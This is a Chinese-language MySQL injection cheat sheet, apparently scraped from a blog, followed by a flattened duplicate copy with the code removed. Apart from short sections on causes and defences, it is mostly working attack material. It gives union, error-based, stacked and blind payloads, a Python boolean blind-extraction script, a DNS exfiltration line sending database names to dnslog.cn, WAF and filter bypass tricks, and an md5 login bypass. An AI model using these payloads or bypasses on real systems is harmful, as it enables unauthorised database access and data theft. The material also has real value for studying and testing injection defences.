SQL注入之Mysql注入姿势及绕过总结
字数 1991 2025-08-25 22:59:09

MySQL注入姿势及绕过总结

一、SQL注入基础

1.1 漏洞成因

SQL注入漏洞产生的原因是应用将用户输入的数据直接拼接到SQL语句中,导致攻击者可以控制SQL查询逻辑。例如:

$sql = "select * from members where userid=".$_GET['userid'];
$sb->query($sql);

当用户输入1 or 1=1时,SQL语句变为:

select * from members where userid=1 or 1=1

1.2 修复方案

最彻底的修复方式是使用参数化查询(预编译语句),将数据和指令分离:

$SqlTemplate="select * from members where userid={userid|int}";
$sb->PreSql($SqlTemplate,$_GET['userid']);

二、MySQL注入姿势

2.1 联合查询注入

基本流程:

  1. 判断注入点类型(数字型/字符型)及闭合方式
  2. 确定字段数:1' order by 3#1' union select 1,2,3#
  3. 确定回显位置:-1' union select 1,2,3#
  4. 获取数据:
    • 当前数据库:database()
    • 表名:group_concat(table_name) from information_schema.tables where table_schema=database()
    • 列名:group_concat(column_name) from information_schema.columns where table_name='users'
    • 数据:group_concat(id,0x7c,username,0x7c,password) from users

2.2 报错注入

利用MySQL报错函数将查询结果回显:

  1. floor()双查询报错
1' union select 1,2,3 from (select count(*),concat((select concat(version(),'-',database(),'-',user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
  1. extractvalue()
and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))
  1. updatexml()
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
  1. 其他报错函数
  • geometrycollection()
  • multipoint()
  • polygon()
  • linestring()
  • ST_LatFromGeoHash()
  • GTID相关函数

2.3 布尔盲注

当页面无回显但会根据SQL条件返回不同内容时使用:

import requests

url = 'http://target.com/?id='
flag = ''

for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while(low < high):
        payload = f"1' and ascii(substr((select database()),{i},1))>{mid}#"
        r = requests.get(url+payload)
        if 'You are in' in r.text:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    flag += chr(mid)
    print(flag)

2.4 时间盲注

利用sleep()函数通过响应时间判断条件:

1' and if(ascii(substr((select database()),1,1))>97,sleep(3),1)#

替代sleep的方法

  • 笛卡尔积延时:(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

2.5 堆叠注入

利用分号执行多条SQL语句:

1'; rename table words to words1; rename table flag_here to words;#
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

2.6 二次注入

将恶意SQL存入数据库后再触发:

insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','123456','123@qq.com')

2.7 DNS注入

通过DNS请求外带数据:

and load_file(concat('//',database(),'.dnslog.cn/abc'))

三、绕过技巧

3.1 注释符绕过

  • #
  • --+-- -
  • /**/
  • ;%00
  • 直接闭合引号

3.2 关键字绕过

  • 大小写:UnIoN SeLeCt
  • 双写:uniunionon selselectect
  • 字符串拼接:set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;
  • 十六进制:0x73656C656374
  • 反引号:select `table_name` from `information_schema`.`tables`

3.3 空格绕过

  • /**/
  • +(GET中)
  • 括号嵌套
  • 不可见字符:%09, %0a, %0b, %0c, %0d, %a0

3.4 逗号绕过

  • from...for...替代substr:
select substr((select database()) from 1 for 1)
  • offset替代limit:
select * from users limit 1 offset 2

3.5 引号绕过

  • 宽字节注入:%df'運'
  • 反斜杠转义:admin\ + or 1#
  • 十六进制:0x61646d696e替代'admin'

3.6 information_schema绕过

替代表:

  • sys.schema_auto_increment_columns
  • mysql.innodb_table_stats
  • mysql.innodb_table_index

3.7 无列名注入

  1. 123法
select `3` from (select 1,2,3 union select * from users)a
  1. join using
1' union all select * from (select * from users as a join users b using(id,username))c#

3.8 其他绕过

  • 比较符号:用in()likeregexp替代=
  • if被过滤:用case when
case when ascii(substr((select database()),1,1))>97 then 1 else 0 end
  • substr被过滤:用mid()left()lpad()
  • HTTP参数污染?id=1&id=2' union select 1,2,3--+

四、特殊技巧

4.1 False注入

利用MySQL隐式类型转换:

select * from user where username=''-0#

4.2 md5(password,true)绕过

当使用md5($password,true)时,某些值会产生永真条件:

ffifdyop  'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c  ''or'6...'  永真

4.3 预处理语句绕过

1';set @a=concat("sel","ect flag from flag_here");prepare hello from @a;execute hello;#

4.4 异或盲注

'^ascii(mid(database(),1,1)=98)^0

五、防御建议

  1. 使用预编译语句(参数化查询)
  2. 对输入进行严格过滤和转义
  3. 最小权限原则,数据库用户只赋予必要权限
  4. 关闭错误回显
  5. 使用WAF等防护设备

以上总结了MySQL注入的各种姿势和绕过技巧,实际应用中需要根据具体环境灵活组合使用。

MySQL注入姿势及绕过总结 一、SQL注入基础 1.1 漏洞成因 SQL注入漏洞产生的原因是应用将用户输入的数据直接拼接到SQL语句中,导致攻击者可以控制SQL查询逻辑。例如: 当用户输入 1 or 1=1 时,SQL语句变为: 1.2 修复方案 最彻底的修复方式是使用参数化查询(预编译语句),将数据和指令分离: 二、MySQL注入姿势 2.1 联合查询注入 基本流程: 判断注入点类型(数字型/字符型)及闭合方式 确定字段数: 1' order by 3# 或 1' union select 1,2,3# 确定回显位置: -1' union select 1,2,3# 获取数据: 当前数据库: database() 表名: group_concat(table_name) from information_schema.tables where table_schema=database() 列名: group_concat(column_name) from information_schema.columns where table_name='users' 数据: group_concat(id,0x7c,username,0x7c,password) from users 2.2 报错注入 利用MySQL报错函数将查询结果回显: floor()双查询报错 : extractvalue() : updatexml() : 其他报错函数 : geometrycollection() multipoint() polygon() linestring() ST_ LatFromGeoHash() GTID相关函数 2.3 布尔盲注 当页面无回显但会根据SQL条件返回不同内容时使用: 2.4 时间盲注 利用sleep()函数通过响应时间判断条件: 替代sleep的方法 : 笛卡尔积延时: (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C) 2.5 堆叠注入 利用分号执行多条SQL语句: 2.6 二次注入 将恶意SQL存入数据库后再触发: 2.7 DNS注入 通过DNS请求外带数据: 三、绕过技巧 3.1 注释符绕过 # --+ 或 -- - /**/ ;%00 直接闭合引号 3.2 关键字绕过 大小写: UnIoN SeLeCt 双写: uniunionon selselectect 字符串拼接: set @a=concat("sel","ect * from users");prepare sql from @a;execute sql; 十六进制: 0x73656C656374 反引号: select `table_name` from `information_schema`.`tables` 3.3 空格绕过 /**/ + (GET中) 括号嵌套 不可见字符: %09 , %0a , %0b , %0c , %0d , %a0 3.4 逗号绕过 from...for... 替代substr: offset 替代limit: 3.5 引号绕过 宽字节注入: %df' → 運' 反斜杠转义: admin\ + or 1# 十六进制: 0x61646d696e 替代 'admin' 3.6 information_ schema绕过 替代表: sys.schema_auto_increment_columns mysql.innodb_table_stats mysql.innodb_table_index 3.7 无列名注入 123法 : join using : 3.8 其他绕过 比较符号 :用 in() 、 like 、 regexp 替代 = if被过滤 :用 case when : substr被过滤 :用 mid() 、 left() 、 lpad() HTTP参数污染 : ?id=1&id=2' union select 1,2,3--+ 四、特殊技巧 4.1 False注入 利用MySQL隐式类型转换: 4.2 md5(password,true)绕过 当使用 md5($password,true) 时,某些值会产生永真条件: 4.3 预处理语句绕过 4.4 异或盲注 五、防御建议 使用预编译语句(参数化查询) 对输入进行严格过滤和转义 最小权限原则,数据库用户只赋予必要权限 关闭错误回显 使用WAF等防护设备 以上总结了MySQL注入的各种姿势和绕过技巧,实际应用中需要根据具体环境灵活组合使用。